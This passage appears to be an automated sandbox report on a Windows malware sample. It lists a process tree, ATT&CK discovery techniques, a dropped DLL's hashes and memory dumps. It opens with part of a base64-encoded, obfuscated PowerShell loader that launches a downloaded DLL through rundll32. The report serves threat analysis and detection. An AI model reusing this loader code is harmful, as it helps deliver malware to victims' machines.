CIAKAAkAFYANQBxADcAbQBtAGMALAAgACQASABwAHMAcgB5AHoAbQApADsAJABKAGYAcwBxAHAAcgA3AD0AKAAoACcASQAnACsAJwBpAHQAdwBxACcAKQArACcAZgBoACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABIAHAAcwByAHkAegBtACkALgAiAGwARQBOAGAAZwBUAGgAIgAgAC0AZwBlACAANAA2ADQAMAAzACkAIAB7ACYAKAAnAHIAdQAnACsAJwBuAGQAbABsADMAMgAuAGUAeAAnACsAJwBlACcAKQAgACQASABwAHMAcgB5AHoAbQAsADAAOwAkAFEAYQAwAHkAZABsAG8APQAoACgAJwBBACcAKwAnAGMAXwA1ACcAKQArACgAJwBhACcAKwAnAGEAMwAnACkAKQA7AGIAcgBlAGEAawA7ACQATgByAHAAXwBfAGcAaQA9ACgAJwBWACcAKwAoACcAawBmAG0AJwArACcAdQAzAGkAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEEAeQBwADAAbwBiAGoAPQAoACcAQwB1ACcAKwAoACcAcABvADcAJwArACcAcABtACcAKQApAA==
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1852

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Q157hr5\B0w4tcw\Loobd5o5.dll,0
3⤵
- Suspicious use of WriteProcessMemory
PID:2436

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Q157hr5\B0w4tcw\Loobd5o5.dll,0
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Checks whether UAC is enabled
PID:4060

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Q157hr5\B0w4tcw\Loobd5o5.dll
MD5
a413b165cbd657e4126a58bd6b682679

SHA1
5a368528e181e52f431eb185d36522e9f6bb4d98

SHA256
62cfd2cdd48db44396cccb21e1001ce58edfccbb0a9a8cc6730fa5f50ad20f4d

SHA512
f2c235d60c2367a8b3470e034741b20f36bab233bfd2994408a84ca5f79478d32bbb6277158477035eb93127839a4985f92783e161923f44ff8f7efe03f91c79

Download Submit
\Users\Admin\Q157hr5\B0w4tcw\Loobd5o5.dll
MD5
a413b165cbd657e4126a58bd6b682679

SHA1
5a368528e181e52f431eb185d36522e9f6bb4d98

SHA256
62cfd2cdd48db44396cccb21e1001ce58edfccbb0a9a8cc6730fa5f50ad20f4d

SHA512
f2c235d60c2367a8b3470e034741b20f36bab233bfd2994408a84ca5f79478d32bbb6277158477035eb93127839a4985f92783e161923f44ff8f7efe03f91c79

Download Submit
memory/1852-11-0x0000000000000000-mapping.dmp

Download
memory/1852-12-0x00007FF88BD40000-0x00007FF88C72C000-memory.dmp

Filesize
9.9MB

Download
memory/1852-13-0x00000153C2B60000-0x00000153C2B61000-memory.dmp

Filesize
4KB

Download
memory/1852-14-0x00000153C2D50000-0x00000153C2D51000-memory.dmp

Filesize
4KB

Download
memory/2436-15-0x0000000000000000-mapping.dmp

Download
memory/2604-2-0x000001BEB03B0000-0x000001BEB09E7000-memory.dmp

Filesize
6.2MB

Download
memory/4040-10-0x0000000000000000-mapping.dmp

Download
memory/4060-17-0x0000000000000000-mapping.dmp

Download
memory/4060-19-0x00000000047E0000-0x000000000481D000-memory.dmp

Filesize
244KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads